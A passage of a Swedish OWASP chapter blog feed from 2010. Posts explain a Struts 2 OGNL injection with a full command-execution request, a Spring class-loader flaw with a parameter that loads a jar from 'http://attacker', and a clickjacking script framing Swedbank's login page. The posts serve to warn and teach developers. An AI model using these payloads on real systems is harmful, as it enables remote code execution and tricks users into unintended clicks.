hämta det aktuella &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Runtime&lt;/span&gt;-objektet:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;\u0023rt = @java.lang.Runtime@getRuntime()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... och man är med en sista http-parameter hemma:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;\u0023rt.exec('mkdir /tmp/PWNED')&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Kolla om din applikation är sårbar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Totalt sett ser ett attack-request ut så här:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ovanstående "snälla" request kan man använda för att se om ens applikation är sårbar. Det kör då &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;java.lang.Runtime.getRuntime().exit(1)&lt;/span&gt; på din app.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Referenser&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Läs hela Meders blogginlägg:&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;a href="http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html"&gt;CVE-2010-1870: Struts2/XWork remote command execution&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://old.nabble.com/-VOTE--Struts-2.2.0-Vote-to29027163.html"&gt;Struts 2-utvecklarnas pågående omröstning om release av 2.2.0&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-929193014769802477?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/929193014769802477/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=929193014769802477' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/929193014769802477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/929193014769802477'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/remote-execution-i-struts-2.html' title='Remote execution i Struts 2'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5254096118923205055</id><published>2010-07-09T11:52:00.009+02:00</published><updated>2010-07-11T01:20:43.253+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='html5'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Douglas Crockford om XSS</title><content type='html'>Jag tänkte först skriva en summering av den fantastiska OWASP AppSec-konferensen vi anordnade tillsammans för två veckor sen. Men varför göra det när man istället är sugen på att kolla några webcasts?&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Douglas Crockford på vår sida&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;Via Twitter fick jag tips om en väldigt intressant presentation från &lt;a href="http://jsconf.us/2010/"&gt;jsconf i Washington DC&lt;/a&gt; i april. Det är Douglas Crockford, författare till "&lt;i&gt;&lt;a href="http://oreilly.com/catalog/9780596517748"&gt;JavaScript: The Good Parts&lt;/a&gt;&lt;/i&gt;" och en av Yahoos tyngsta namn som ägnar 50 % av sin talartid åt &lt;i&gt;cross-site scripting&lt;/i&gt; (XSS)! Jag kan inte nog understryka betydelsen av att en guru bland utvecklare ställer sig upp och pratar om problem och lösningar inom säkerhet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Börja titta vid 20:50 om ni vill hoppa över de mer generella JavaScript-bitarna (historik, framtid, js kontra DOM:en osv)&lt;/div&gt;&lt;br /&gt;&lt;embed src="http://blip.tv/play/g_MngeaxVgI" type="application/x-shockwave-flash" width="400" height="301" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Några citat&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Några intressanta citat ur presentationen:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;"Possibly the only thing we should be considering is security."&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"The biggest problem in the browser platform is it's susceptibility to XSS attacks."&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"Solving the XSS problem should be our #1 priority"&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"HTML5 is a big step in the wrong direction"&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Frågan om säkerhet i HTML5&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Jag får fler och fler frågor om säkerhet i HTML5. Därtill har jag påbörjat minst två blogginlägg om just det ämnet men stupat på komplexitet och omfång. Det blir för mycket hur jag än gör. Just det berör Crockford när han säger att vi borde avbryta utvecklingen av HTML5 och börja om(!).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Han menar att XSS är det främsta problemet för en blomstrande webb med &lt;i&gt;mashups&lt;/i&gt; och &lt;i&gt;enterprise&lt;/i&gt;-tjänster. HTML5 gör XSS-problemet värre på tre sätt:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;HTML5 är väldigt komplicerat. Och komplexitet står som bekant i motsats till säkerhet (och robusthet, och testbarhet, och förvaltningsbarhet, och ...)&lt;/li&gt;&lt;li&gt;HTML5 ger attackerare nya, väldigt kraftfulla verktyg inklusive access till lokal databas på klientsidan&lt;/li&gt;&lt;li&gt;HTML5 kommer ta lång tid att färdigställa. Måste lösningen på XSS vänta till HTML6?&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5254096118923205055?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5254096118923205055/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5254096118923205055' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5254096118923205055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5254096118923205055'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/douglas-crockford-om-xss.html' title='Douglas Crockford om XSS'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8044508776049546468</id><published>2010-06-20T13:04:00.003+02:00</published><updated>2010-06-20T13:24:46.411+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='säkerhetsbugg'/><category scheme='http://www.blogger.com/atom/ns#' term='Spring'/><title type='text'>Arbitrary Code Execution i Spring</title><content type='html'>&lt;div&gt;Spring publicerade en &lt;a href="http://www.springsource.com/security/cve-2010-1622"&gt;allvarlig säkerhetsbugg&lt;/a&gt; i torsdags.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Genom att bygga en attack-jar med:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;META-INF/spring-form.tld&lt;/span&gt; som definierar &lt;i&gt;Spring form-&lt;/i&gt;taggar som tagg-filer, inte klasser,&lt;/li&gt;&lt;li&gt;Tagg-filer med valfri attackkod i Java i &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;META-INF/tags/&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;... och sen skicka in följande HTTP-parameter till en &lt;i&gt;form controller&lt;/i&gt;:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;... så skriver attackeraren över den första jar-URL:en i klassladdaren för webb-containern (&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;WebappClassLoader&lt;/span&gt;), t ex i Tomcat.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;org.apache.jasper.compiler.TldLocationsCache.scanJars()&lt;/span&gt; kommer då att hämta attack-jaren och använda den för Spring-taggarna.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Vem drabbas och hur lösa problemet?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Det är väldigt ont om information som det verkar. Därav min något luddiga post. T ex är säkerhetsbuggen rapporterad för Spring Framework men referensen till &lt;i&gt;form controller&lt;/i&gt; får mig att tänka Spring MVC. Någon som vet mer?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det verkar hur som helst vara en riktigt otäck bugg så en uppgradering till 3.0.3 är lämplig.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8044508776049546468?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8044508776049546468/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8044508776049546468' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8044508776049546468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8044508776049546468'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/06/arbitrary-code-execution-i-spring.html' title='Arbitrary Code Execution i Spring'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5124806296843069165</id><published>2010-06-19T10:29:00.002+02:00</published><updated>2010-06-19T10:46:29.408+02:00</updated><title type='text'>Community Hack i september</title><content type='html'>&lt;div&gt;Det må så vara att vi står värdar för OWASP AppSec nästa vecka men det kommer ju en höst också. Därför kommer här en inbjudan till höstens första event – Community Hack II, 4-5 september i Stockholm.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://foss-sthlm.haxx.se/"&gt;FOSS-Sthlm&lt;/a&gt; tillsammans med oss i OWASP Sweden träffas en hel helg och hackar på öppna saker. Kanske vill du skapa ett nytt verktyg, utreda ett nytt intressant säkerhetsproblem, eller skriva en ny howto-guide? Eller så är det precis rätt tid att sätta sig in i något trevligt OWASP-projekt såsom JBroFuzz eller ESAPI!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Man kan antingen köra sitt eget race eller haka på någon annans projekt. Det hela kommer planeras kollaborativt på en wiki under &lt;a href="http://www.communityhack.org/"&gt;www.communityhack.org&lt;/a&gt;. Och grundstommen är förstås att vi umgås under tiden, t ex går på bio gemensamt lördag kväll.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Rita in 4-5 september i kalendern och gå in och &lt;a href="http://communityhack2.eventbrite.com/"&gt;anmäl er på Eventbrite&lt;/a&gt;. Kostnadsfritt förstås.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5124806296843069165?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5124806296843069165/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5124806296843069165' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5124806296843069165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5124806296843069165'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/06/community-hack-i-september.html' title='Community Hack i september'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1152574283161841857</id><published>2010-06-14T22:53:00.009+02:00</published><updated>2010-06-15T10:11:54.169+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Clickjacking-exempel</title><content type='html'>Efter att ha läst &lt;a href="http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/"&gt;RSnakes blogginlägg&lt;/a&gt; idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tONVxa3WGQM/TBaXnu8smYI/AAAAAAAAASQ/qFr-g6HrZ_o/s1600/cropped_screen_dump_clickjacking.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width=100%;" src="http://3.bp.blogspot.com/_tONVxa3WGQM/TBaXnu8smYI/AAAAAAAAASQ/qFr-g6HrZ_o/s200/cropped_screen_dump_clickjacking.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5482736305243462018" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;html&gt; &amp;lt;head&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;title&gt;Clickjacking&amp;lt;/title&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;/head&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;body&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;h1&gt;Clickjacking&amp;lt;/h1&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;img src="http://owasp.se/owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;button type="button"&gt;Logga in&amp;lt;/button&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;script type="text/javascript"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Skapa en iframe som ska dölja det&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// vi vill att offret ska klicka på&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a = document.body.appendChild(document.createElement("iframe"));&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.d = a.contentDocument;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.d.open().close();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.width = 85;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.height = 30;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Skapa en iframe som ramar in det&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// vi vill att offret klickar på&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i = a.d.createElement("iframe");&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.border = i.style.border = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.marginwidth = i.style.marginwidth = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.marginheight = i.style.marginheight = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.frameborder = i.style.frameborder = 1;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.position = i.style.position = "absolute";&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.overflow = i.style.overflow = "hidden";&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Gör den döljande iframe:en nästan&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// ogenomskinlig för att tydliggöra exemplet&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.style.opacity = .2;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Vårt exempel riktar sig mot Swedbank men&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// skulle&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style=" color: rgb(255, 102, 0); font-family:'courier new';"&gt; lika gärna kunna vara en annan sida&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.src = "http://www.swedbank.se/";&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.width = 815;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.height = 30;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.left = -735;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.top = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.marginwidth = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.marginheight = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;i.style.frameborder = 1;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Lägg till Swedbank-iframe:en till&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// den döljande iframe:en&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;a.d.body.appendChild(i);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// Skapa en funktion som låter den&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;// döljande iframe:en följa muspekaren&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  